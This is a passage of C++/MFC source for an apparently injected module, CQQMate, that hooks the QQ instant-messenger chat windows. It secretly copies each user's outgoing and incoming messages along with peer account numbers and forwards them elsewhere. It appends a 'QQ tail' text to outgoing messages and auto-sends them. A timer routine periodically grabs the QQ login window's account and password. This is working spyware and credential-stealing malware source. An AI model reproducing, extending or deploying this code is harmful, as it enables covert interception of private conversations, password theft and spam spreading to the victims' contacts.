( uMsg == WM_ERASEBKGND || uMsg == WM_PAINT ) { CString csAD1 = _T("这是广告位置,已经被屏蔽掉了。\r\n ——谢红伟"); ::DrawText ( (HDC) wParam, csAD1, csAD1.GetLength(), &rcAD1, DT_CENTER|DT_VCENTER ); } } if ( uMsg != WM_PAINT && uMsg != WM_GETTEXT && uMsg != WM_SETCURSOR && uMsg != WM_WINDOWPOSCHANGING && uMsg != WM_NCPAINT && uMsg != WM_GETICON && uMsg != WM_GETTEXTLENGTH && uMsg != WM_ERASEBKGND && uMsg != WM_WINDOWPOSCHANGED && uMsg != WM_MOUSEMOVE && uMsg != WM_NCHITTEST && uMsg != WM_NCMOUSEMOVE && uMsg != WM_EXITSIZEMOVE && uMsg != WM_CAPTURECHANGED && uMsg != WM_GETMINMAXINFO && uMsg != WM_MOVING && uMsg != WM_MOVE && uMsg != WM_DRAWITEM && uMsg != WM_CTLCOLORBTN && uMsg != WM_SYNCPAINT && uMsg != WM_NCLBUTTONDOWN && uMsg != WM_NCLBUTTONUP && uMsg != WM_IME_SETCONTEXT && uMsg != WM_SETFOCUS ) { HwDbgLog ( L_DEBUG, _T("WindowProc_ChatWindow ( 0x%08X , 0x%04X , %d , %d)"), hWnd, uMsg, wParam, lParam ); if ( uMsg == WM_SYSCOMMAND ) { int uCmdType = wParam; WORD xPos = LOWORD(lParam); WORD yPos = HIWORD(lParam); if ( SC_CLOSE == uCmdType ) { HwDbgLog ( L_DEBUG, _T("WindowProc_ChatWindow ( 0x%08X , %s , 0x%04X , %d , %d)"), hWnd, _T("WM_SYSCOMMAND - SC_CLOSE"), uCmdType, xPos, yPos ); m_pQQMate->OnChatWindowClose (hWnd); } } else if ( uMsg == WM_CLOSE ) { HwDbgLog ( L_DEBUG, _T("WindowProc_ChatWindow ( 0x%08X , %s )"), hWnd, _T("WM_CLOSE") ); m_pQQMate->OnChatWindowClose (hWnd); } else if ( uMsg == WM_COMMAND ) { WORD wNotifyCode = HIWORD(wParam); // notification code WORD wID = LOWORD(wParam); // item, control, or accelerator identifier HWND hwndCtl = (HWND) lParam; // handle of control if ( wNotifyCode == 0 && wID == CONTROL_ID_CHAT_BUTTON_SEND && GetWindowClassName(hwndCtl).CompareNoCase(_T("Button")) == 0 ) { HwDbgLog ( L_DEBUG, _T("点击了发送按钮") ); } else { HwDbgLog ( L_DEBUG, _T("WindowProc_ChatWindow ( 0x%08X, %s, 0x%04X, %d, 0x%08X, %s, %s)"), hWnd, _T("WM_COMMAND"), wNotifyCode, wID, hwndCtl, GetWindowClassName(hwndCtl), GetWindowText(hwndCtl) ); } } #ifdef _DEBUG else if ( uMsg > WM_USER ) { CString cswParam, cslParam; if ( AfxIsValidString ( (LPCTSTR)wParam ) ) cswParam = LPCTSTR(wParam); if ( AfxIsValidString ( (LPCTSTR)lParam ) ) cslParam = LPCTSTR(lParam); HwDbgLog ( L_DEBUG, _T("WM_USER + %d, %s, %s"), uMsg - WM_USER, cswParam, cslParam ); // return FALSE; } #endif // 要发送消息(点击了【发送】按钮或按键"Alt+S"或"Ctrl+Enter") /* else if ( uMsg == WM_USER + 711 || uMsg == WM_USER + 729 || uMsg == WM_USER + 730 || uMsg == WM_USER + 735 || uMsg == WM_USER + 1431 || uMsg == WM_USER + 733 || uMsg == WM_USER + 731 || uMsg == WM_USER + 1042 || uMsg == WM_USER + 631 || uMsg == WM_USER + 694 )*/ // 用户将要发送聊天信息 if ( ( nUserMsg == 711 // 该消息将使QQ文字信息发送给对方 // || // nUserMsg == 735 // 该消息将使发送的QQ文字消息添加到接收文字信息框中 ) && ( !m_pQQMate->m_bDisableHandleWillSendTextMsg && HANDLE_IS_VALID(m_pQQMate->m_hEvt_WillSendTextMsg) ) ) { m_pQQMate->m_bDisableHandleWillSendTextMsg = TRUE; m_pQQMate->m_pFindQQChatInfoPara_WillSendTextMsg = pFindQQChatInfoPara; SetEvent ( m_pQQMate->m_hEvt_WillSendTextMsg ); // 等待线程将要发送的消息拷贝出来,并添加QQ尾巴 MSG msg; BOOL bRet; while( (bRet = GetMessage( &msg, pFindQQChatInfoPara->m_hWndChatWindow, 0, 0 )) != 0) { if (bRet == -1) { break; } else { TranslateMessage(&msg); DispatchMessage(&msg); } if ( WaitForSingleObject(m_pQQMate->m_hEvt_WillSendTextMsgHandleOver,0) == WAIT_OBJECT_0 ) { break; } } } } if ( !pFindQQChatInfoPara || !pFindQQChatInfoPara->m_pfnOrgWindowProc_ChatWindow ) return FALSE; return pFindQQChatInfoPara->m_pfnOrgWindowProc_ChatWindow ( hWnd, uMsg, wParam, lParam ); } void CQQMate::HandleWillSendTextMsg () { if ( !m_pFindQQChatInfoPara_WillSendTextMsg || !IsWindow(m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage) ) return; // 激活“发送文字信息的编辑框”并获取输入焦点 ActiveWindowAndHoldFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow ); CRect rcEditForSendMessage(0,0,0,0); ::GetWindowRect ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage, &rcEditForSendMessage ); ::SetFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage ); MouseLeftClick ( rcEditForSendMessage.CenterPoint() ); CString csSendingText, csQQTail; csSendingText = GetWillSentChatText (); if ( !csSendingText.IsEmpty() ) { csQQTail = AddQQTailText (); } if ( HANDLE_IS_VALID(m_hEvt_WillSendTextMsgHandleOver) ) SetEvent(m_hEvt_WillSendTextMsgHandleOver); if ( !csQQTail.IsEmpty() ) { ::PostMessage ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, WM_COMMAND, (WPARAM)CONTROL_ID_CHAT_BUTTON_SEND, LPARAM(NULL) ); } m_dwDoSthForWillSendTextMsgTime = GetTickCount() + 3000; // 等下自动将“将要发送文字信息的参数”复原 // 将“消息模式”透明化的聊天窗口显示出来 /* if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_MESSAGEMODE ) { TransparentWindow ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, 255 ); }*/ m_pFindQQChatInfoPara_WillSendTextMsg = NULL; } // // 获取用户正要发送的聊天内容,保存到数组中 // CString CQQMate::GetWillSentChatText () { HwDbgLog ( L_DEBUG, _T("----------------------------- GetWillSentChatText()") ); int nSleepTime = 100; // 激活“发送文字信息的编辑框”并获取输入焦点 ActiveWindowAndHoldFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow ); CRect rcEditForSendMessage(0,0,0,0); ::GetWindowRect ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage, &rcEditForSendMessage ); ::SetFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage ); MouseLeftClick ( rcEditForSendMessage.CenterPoint() ); // 将要发送的文字内容拷贝出来并保存起来 CString csSendingText; for ( int i=0; i<10; i++ ) { GetClipBoardText (); // 清空剪贴板 KeyboardCombineEvent ( VK_CONTROL, 'A', '\0' ); Sleep(nSleepTime); KeyboardCombineEvent ( VK_CONTROL, 'C', '\0' ); Sleep(nSleepTime); csSendingText = GetClipBoardText(); HwDbgLog ( L_DEBUG, _T("csSendingText = %s"), csSendingText ); if ( !csSendingText.IsEmpty() ) break; } HwDbgLog ( L_DEBUG, _T("发送文字信息: %s"), csSendingText ); if ( csSendingText.IsEmpty() ) { return csSendingText; } else { m_pFindQQChatInfoPara_WillSendTextMsg->AddQQChatContent ( TRUE, csSendingText ); } return csSendingText; } CString CQQMate::AddQQTailText () { HwDbgLog ( L_DEBUG, _T("----------------------------- AddQQTailText()") ); int nSleepTime = 100; CString csQQTail; // 将“消息模式”的聊天窗口透明化隐藏起来 if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_MESSAGEMODE ) { // TransparentWindow ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, 0 ); ::ShowWindow ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, SW_RESTORE ); } // 增加QQ尾巴内容 int nQQTailPos = -1; csQQTail = GetQQTailText ( m_pFindQQChatInfoPara_WillSendTextMsg->m_csQQPeerAccount ); if ( !csQQTail.IsEmpty() ) { if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_DISCUSSION ) csQQTail.Insert ( 0, _T("\r\n") ); CopyTextToClipboard ( csQQTail ); Sleep(nSleepTime); if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_DISCUSSION ) KeyboardCombineEvent ( VK_CONTROL, VK_END, '\0' ); else KeyboardCombineEvent ( VK_CONTROL, 'A', '\0' ); Sleep(nSleepTime); KeyboardCombineEvent ( VK_CONTROL, 'V', '\0' ); Sleep(nSleepTime); } HwDbgLog ( L_DEBUG, _T("QQ尾巴内容 = %s"), csQQTail ); return csQQTail; } void CQQMate::DoSthForWillSendTextMsgOnTimer () { if ( m_dwDoSthForWillSendTextMsgTime > 0 && GetTickCount() >= m_dwDoSthForWillSendTextMsgTime ) { m_bDisableHandleWillSendTextMsg = FALSE; m_dwDoSthForWillSendTextMsgTime = 0; HwDbgLog ( L_DEBUG, _T("将“将要发送文字信息的参数”复原") ); } } CString CQQMate::GetQQTailText ( CString csQQPeerAccount ) { if ( strlen(g_pRemoteThreadPara->szQQTail) <= 0 ) return _T(""); if ( csQQPeerAccount.IsEmpty() ) { ASSERT ( FALSE ); return _T(""); } // 已经发送过了 #ifndef _DEBUG if ( ::FindFromArray ( m_StrAry_QQPeerAccountSentTail, csQQPeerAccount ) >= 0 ) return _T(""); #endif m_StrAry_QQPeerAccountSentTail.Add ( csQQPeerAccount ); return g_pRemoteThreadPara->szQQTail; } // // 找到一个新的聊天窗口了,添加到数组中,并修改相关窗口的 WindowProc 地址 // void CQQMate::AddTo_Ary_FindQQChatInfoPara ( CFindQQChatInfoPara *pFindQQChatInfoPara ) { ASSERT ( pFindQQChatInfoPara ); ASSERT ( IsWindow(pFindQQChatInfoPara->m_hWndChatWindow) ); ASSERT ( FindFrom_Ary_FindQQChatInfoPara ( pFindQQChatInfoPara->m_hWndChatWindow ) < 0 ); HwDbgLog ( L_DEBUG, _T("Found new chat window : 0x%08X, %s"), pFindQQChatInfoPara->m_hWndChatWindow, ::GetWindowText(pFindQQChatInfoPara->m_hWndChatWindow) ); // 修改相关窗口的 WindowProc 地址 ChangeWindownProc ( pFindQQChatInfoPara->m_hWndChatWindow, &pFindQQChatInfoPara->m_pfnOrgWindowProc_ChatWindow, WindowProc_ChatWindow ); m_PtrAry_FindQQChatInfoPara.Add ( pFindQQChatInfoPara ); HwDbgLog ( L_DEBUG, _T("HandleInfoChangedOfQQAllChatWindow() for 找到一个新的聊天窗口") ); HandleInfoChangedOfQQAllChatWindow (); } // // 检查所有聊天信息窗口当前是否有效,无效的应该从数组中移除 // void CQQMate::Check_Ary_FindQQChatInfoPara () { for ( int i=0; i<m_PtrAry_FindQQChatInfoPara.GetSize(); i++ ) { CFindQQChatInfoPara *pFindQQChatInfoPara = (CFindQQChatInfoPara*)m_PtrAry_FindQQChatInfoPara.GetAt(i); if ( !pFindQQChatInfoPara || !IsWindow(pFindQQChatInfoPara->m_hWndChatWindow) ) { m_PtrAry_FindQQChatInfoPara.RemoveAt(i); if ( pFindQQChatInfoPara ) delete pFindQQChatInfoPara; i --; } } HwDbgLog ( L_DEBUG, _T("Check_Ary_FindQQChatInfoPara(), Current array count : %d"), m_PtrAry_FindQQChatInfoPara.GetSize() ); } // // 处理QQ聊天窗口中信息的变化,比如:收到新的的聊天内容 // void CQQMate::HandleInfoChangedOfQQAllChatWindow () { for ( int i=0; i<m_PtrAry_FindQQChatInfoPara.GetSize(); i++ ) { CFindQQChatInfoPara *pFindQQChatInfoPara = (CFindQQChatInfoPara*)m_PtrAry_FindQQChatInfoPara.GetAt(i); // 检查一下是不是收到了新的文字聊天消息 if ( pFindQQChatInfoPara && IsWindow(pFindQQChatInfoPara->m_hWndEditForRecvMessage) ) { ASSERT ( pFindQQChatInfoPara->m_csQQPeerNickname.GetLength() > 0 ); CString csReceivedMsg = PickupMessageFromEditControl ( pFindQQChatInfoPara->m_hWndEditForRecvMessage, pFindQQChatInfoPara->m_csQQPeerNickname ); if ( !csReceivedMsg.IsEmpty() && (pFindQQChatInfoPara->m_Ary_QQChatContent.GetSize() < 1 || csReceivedMsg != pFindQQChatInfoPara->GetLastQQChatContent(FALSE)) ) { // 将收到新的聊天信息保存到数组中 pFindQQChatInfoPara->AddQQChatContent ( FALSE, csReceivedMsg ); } } } } CString CQQMate::PickupMessageFromEditControl ( HWND hWndEditForRecvMessage, CString csQQPeerNickname ) { CString csEnterString = GetWindowText ( hWndEditForRecvMessage ); if ( csEnterString.GetLength() < 1 || csQQPeerNickname.GetLength() < 1 ) return _T(""); HwDbgLog ( L_DEBUG, _T("PickupMessageFromEditControl() Text = %s, csQQPeerNickname = %s"), csEnterString, csQQPeerNickname ); csQQPeerNickname += _T(" "); int nFindPos = -1; CString csReceivedMsg; while ( (nFindPos = StringReverseFind ( csEnterString, csQQPeerNickname, nFindPos )) >= 0 ) { csReceivedMsg.Empty (); CString csTempStr = csEnterString.Mid ( nFindPos+csQQPeerNickname.GetLength() ); int nFindLineEndPos = csTempStr.Find(_T("\r\n"),0); if ( nFindLineEndPos > 0 ) { csReceivedMsg = csTempStr.Mid ( nFindLineEndPos+2 ); csReceivedMsg.TrimLeft(); csReceivedMsg.TrimRight(); if ( !m_csLocalQQNickname.IsEmpty() ) { CString csSpace; for ( int i=0; i<2; i++ ) { CString csFoundStr = _T("\r\n") + csSpace + m_csLocalQQNickname + _T(" "); int nPosLocalSays = csReceivedMsg.Find ( csFoundStr, 0 ); if ( nPosLocalSays >= 0 ) { csReceivedMsg = csReceivedMsg.Left ( nPosLocalSays ); break; } csSpace += _T(" "); } } break; } } csReceivedMsg.TrimLeft(); csReceivedMsg.TrimRight(); return csReceivedMsg; } HWND g_hWndQQChatWindow = NULL; BOOL CALLBACK EnumChildProc_FindQQChatInfo ( HWND hWnd, // handle to child window LPARAM lParam // application-defined value ) { CFindQQChatInfoPara *pFindQQChatInfoPara = (CFindQQChatInfoPara*)lParam; ASSERT ( pFindQQChatInfoPara ); TCHAR szClassName[64] = {0}; ::GetClassName ( hWnd, szClassName, COUNT(szClassName) ); #ifdef _DEBUG // HwDbgLog ( L_DEBUG, _T("枚举子窗口名是: 0x%08X, %s, %s, %u"), hWnd, ::GetWindowText(hWnd), ::GetWindowClassName(hWnd), ::GetWindowLong(hWnd,GWL_ID) ); #endif _strlwr_hw ( szClassName ); CString csTitle = GetWindowText ( hWnd ); if ( !IsWindow(pFindQQChatInfoPara->m_hWndQQPeerAccount) ) { int nLeftPos = csTitle.Find ( _T("("),0 ); int nRightPos = csTitle.Find ( _T(")"),1 ); // 标题符合吗 if ( csTitle.GetLength() > 3 && nLeftPos > 0 && nRightPos-nLeftPos > 1 ) { // 类名符合吗 if ( strstr_hw ( szClassName, _T("static") ) ) { // 取得对方QQ号码和昵称 CString csPeerAccount = csTitle.Mid ( nLeftPos+1, nRightPos-nLeftPos-1 ); CString csQQPeerNickname = csTitle.Left ( nLeftPos ); csQQPeerNickname.TrimLeft(); csQQPeerNickname.TrimRight(); pFindQQChatInfoPara->m_csQQPeerAccount = csPeerAccount; ASSERT ( csQQPeerNickname == pFindQQChatInfoPara->m_csQQPeerNickname ); pFindQQChatInfoPara->m_csQQPeerNickname = csQQPeerNickname; pFindQQChatInfoPara->m_hWndQQPeerAccount = hWnd; HwDbgLog ( L_DEBUG, _T("找到的QQ好友账号窗口是: %s, 窗口句柄是:0x%08X, 窗口ID是:%d" ), csTitle, hWnd, ::GetDlgCtrlID(hWnd) ); HwDbgLog ( L_DEBUG, _T("对方QQ账号 : %s, 对方昵称 : %s"), csPeerAccount, csQQPeerNickname ); } } } if ( !IsWindow(pFindQQChatInfoPara->m_hWndEditForSendMessage) ) { // 类名符合吗 if ( strstr_hw ( szClassName, _T("afxwnd42") ) ) { pFindQQChatInfoPara->m_nCount_FoundAfxWnd42 ++; // 因为同类名的窗口很多,所以按照序号来判断 if ( pFindQQChatInfoPara->m_nCount_FoundAfxWnd42 == 3 ) { HwDbgLog ( L_DEBUG, _T("找到的QQ发送聊天信息窗口是: %s, 窗口句柄是:0x%08X, 序号:%d"), csTitle, hWnd, pFindQQChatInfoPara->m_nCount_FoundAfxWnd42 ); pFindQQChatInfoPara->m_hWndEditForSendMessage = hWnd; } } } if ( !IsWindow(pFindQQChatInfoPara->m_hWndEditForRecvMessage) ) { // 类名符合吗 if ( strstr_hw ( szClassName, _T("richedit20a") ) ) { #ifdef _DEBUG // 标题符合吗 HwDbgLog ( L_DEBUG, _T("找到RecvMessage窗口是: %s, 窗口句柄是:0x%08X"), csTitle, hWnd ); #endif if ( ::GetWindowLong(hWnd,GWL_ID) == 896 ) { pFindQQChatInfoPara->m_hWndEditForRecvMessage = hWnd; ASSERT ( pFindQQChatInfoPara->m_csQQPeerNickname.GetLength() > 0 ); } } } if ( !IsWindow(pFindQQChatInfoPara->m_hWndAD1) ) { // 类名符合吗 if ( strstr_hw ( szClassName, _T("static") ) ) { CRect rc, rcAD1(248,22,490,62); ::GetWindowRect ( hWnd, &rc ); CWnd::FromHandle(g_hWndQQChatWindow)->ScreenToClient ( &rc ); if ( rcAD1.EqualRect(&rc) || ( rcAD1.PtInRect(rc.TopLeft()) && rcAD1.PtInRect(rc.BottomRight()) ) || ( rc.PtInRect(rcAD1.TopLeft()) && rc.PtInRect(rcAD1.BottomRight()) ) ) { pFindQQChatInfoPara->m_hWndAD1 = hWnd; ::ShowWindow ( hWnd, SW_HIDE ); } } } if ( IsWindow(pFindQQChatInfoPara->m_hWndQQPeerAccount) && IsWindow(pFindQQChatInfoPara->m_hWndEditForSendMessage) && IsWindow(pFindQQChatInfoPara->m_hWndEditForRecvMessage) && IsWindow(pFindQQChatInfoPara->m_hWndAD1) ) { return FALSE; // 找到了,停止枚举 } return TRUE; } // // 查找 QQ 聊天窗口 // BOOL CQQMate::FindQQChatWindow () { for ( int eQQChatWindowType = QQCHATWINDOW_DISCUSSION; eQQChatWindowType <= QQCHATWINDOW_VIEWMESSAGE; eQQChatWindowType ++ ) { t_Ary_FindWindowHwOutput tAry_FindWindowHwOutput; if ( eQQChatWindowType == QQCHATWINDOW_DISCUSSION ) { if ( !FindWindowHw ( tAry_FindWindowHwOutput, TRUE, _T("QQ.exe"), m_dwQQPID, _T("#32770"), _T("与"), _T("交谈中"), NULL ) ) continue; } else if ( eQQChatWindowType == QQCHATWINDOW_MESSAGEMODE ) { if ( !FindWindowHw ( tAry_FindWindowHwOutput, TRUE, _T("QQ.exe"), m_dwQQPID, _T("#32770"), _T("- 发送消息"), NULL ) ) continue; } else if ( eQQChatWindowType == QQCHATWINDOW_VIEWMESSAGE ) { if ( !FindWindowHw ( tAry_FindWindowHwOutput, TRUE, _T("QQ.exe"), m_dwQQPID, _T("#32770"), _T("- 查看消息"), NULL ) ) continue; } else { ASSERT(FALSE); } ASSERT ( tAry_FindWindowHwOutput.GetSize() > 0 ); for ( int i=0; i<tAry_FindWindowHwOutput.GetSize(); i++ ) { t_FindWindowHwOutput &tFindWindowHwOutput = tAry_FindWindowHwOutput.GetAt(i); int nFindPos = FindFrom_Ary_FindQQChatInfoPara ( tFindWindowHwOutput.hWndFound ); if ( nFindPos >= 0 ) { CFindQQChatInfoPara *pFindQQChatInfoPara = (CFindQQChatInfoPara*)m_PtrAry_FindQQChatInfoPara.GetAt(nFindPos); if ( pFindQQChatInfoPara ) pFindQQChatInfoPara->m_eQQChatWindowType = (ENUM_QQCHATWINDOW_TYPE)eQQChatWindowType; continue; } ASSERT ( IsWindow(tFindWindowHwOutput.hWndFound) ); CFindQQChatInfoPara *pFindQQChatInfoPara = new CFindQQChatInfoPara; if ( !pFindQQChatInfoPara ) continue; pFindQQChatInfoPara->m_hWndChatWindow = tFindWindowHwOutput.hWndFound; pFindQQChatInfoPara->m_eQQChatWindowType = (ENUM_QQCHATWINDOW_TYPE)eQQChatWindowType; // 获取好友名 CString csTitle = GetWindowText ( tFindWindowHwOutput.hWndFound ); CStringArray StrAry; PartStringAndAddToStrAry ( csTitle, StrAry ); CString csQQPeerNickname; if ( eQQChatWindowType == QQCHATWINDOW_DISCUSSION ) { if ( StrAry.GetSize() == 3 ) csQQPeerNickname = StrAry.GetAt(1); } else { if ( StrAry.GetSize() == 3 ) csQQPeerNickname = StrAry.GetAt(0); } csQQPeerNickname.TrimLeft(); csQQPeerNickname.TrimRight(); pFindQQChatInfoPara->m_csQQPeerNickname = csQQPeerNickname; g_hWndQQChatWindow = tFindWindowHwOutput.hWndFound; ::EnumChildWindows ( tFindWindowHwOutput.hWndFound, EnumChildProc_FindQQChatInfo, LPARAM(pFindQQChatInfoPara) ); AddTo_Ary_FindQQChatInfoPara ( pFindQQChatInfoPara ); CRect rcClient; ::GetWindowRect ( g_hWndQQChatWindow, &rcClient ); CWnd::FromHandle(g_hWndQQChatWindow)->ScreenToClient ( &rcClient ); ::InvalidateRect ( g_hWndQQChatWindow, &rcClient, TRUE ); } } return ( m_PtrAry_FindQQChatInfoPara.GetSize() > 0 ); } BOOL CQQMate::CaptureQQChatWindow () { if ( !FindQQChatWindow () ) return FALSE; ASSERT ( m_PtrAry_FindQQChatInfoPara.GetSize() > 0 ); return TRUE; } void CQQMate::ThreadProc_CaptureWindow () { HwDbgLog ( L_DEBUG, _T("ThreadProc_CaptureWindow() Start") ); HANDLE hAryEvt[] = { m_hEvtEndModule, m_hEvt_Check_Ary_FindQQChatInfoPara, m_hEvt_HandleInfoChangedOfQQAllChatWindow, m_hEvt_WillSendTextMsg }; DWORD dwTimeout = 500; for ( ULONGLONG nCount=1; ; nCount++ ) { DWORD dwRet = ( ::WaitForMultipleObjects ( sizeof(hAryEvt)/sizeof(hAryEvt[0]), hAryEvt, FALSE, dwTimeout ) - WAIT_OBJECT_0 ); // 系统将终止 if ( dwRet == 0 ) break; // 请求检查所有聊天信息窗口当前是否有效 else if ( dwRet == 1 ) { Sleep ( 1000 ); Check_Ary_FindQQChatInfoPara (); } // 请求处理QQ聊天窗口中信息的变化 else if ( dwRet == 2 ) { HwDbgLog ( L_DEBUG, _T("HandleInfoChangedOfQQAllChatWindow() for 请求处理QQ聊天窗口中信息的变化") ); HandleInfoChangedOfQQAllChatWindow (); } // 用户在“交谈”窗口中要发送QQ文字信息了 else if ( dwRet == 3 ) { HandleWillSendTextMsg (); } OnTimer ( nCount ); } HwDbgLog ( L_DEBUG, _T("ThreadProc_CaptureWindow() End") ); } void CQQMate::OnTimer ( ULONGLONG nCount ) { // 定时捕捉QQ登录窗口,并获取其中的账号和密码 if ( !IsWindow(m_hWndQQLoginWindow) ) CaptureQQAccountAndPassFromLoginWindow (); // 定时捕捉QQ聊天窗口 CaptureQQChatWindow (); // 每5秒定时检查一次聊天窗口是否被关闭的信息 if ( (nCount % 10) == 0 ) Check_Ary_FindQQChatInfoPara (); // 每3秒定时处理QQ聊天窗口中信息的变化 if ( (nCount % 6) == 0 ) { HwDbgLog ( L_DEBUG, _T("HandleInfoChangedOfQQAllChatWindow() for 每3秒定时处理QQ聊天窗口中信息的变化") ); HandleInfoChangedOfQQAllChatWindow (); } // 定时处理一下“交谈”窗口中将要发送文字信息的相关参数 DoSthForWillSendTextMsgOnTimer (); } CFindQQChatInfoPara::~CFindQQChatInfoPara () { } void CFindQQChatInfoPara::AddQQChatContent ( BOOL bIsSent, LPCTSTR lpszChatText ) { if ( !lpszChatText || lstrlen(lpszChatText) < 1 ) return; t_QQChatContent tQQChatContent; tQQChatContent.bIsSent = bIsSent; tQQChatContent.csChatText = lpszChatText; // AfxMessageBox ( FormatString(_T("%s消息:%s"),bIsSent?_T("发送"):_T("接收"), lpszChatText) ); m_Ary_QQChatContent.Add ( tQQChatContent ); CString csChatInfo; csChatInfo.Format ( _T("%s\t%s\t%s"), m_csQQPeerAccount, m_csQQPeerNickname, lpszChatText ); ::SendMessageIV ( RMSG_GotQQChatText, (DWORD)bIsSent, csChatInfo ); } CString CFindQQChatInfoPara::GetLastQQChatContent ( BOOL bIsSent ) { for ( int i=m_Ary_QQChatContent.GetSize()-1; i>=0; i-- ) { t_QQChatContent &tQQChatContent = m_Ary_QQChatContent.GetAt(i); if ( (tQQChatContent.bIsSent && bIsSent) || (!tQQChatContent.bIsSent && !bIsSent) ) return tQQChatContent.csChatText; } return _T(""); }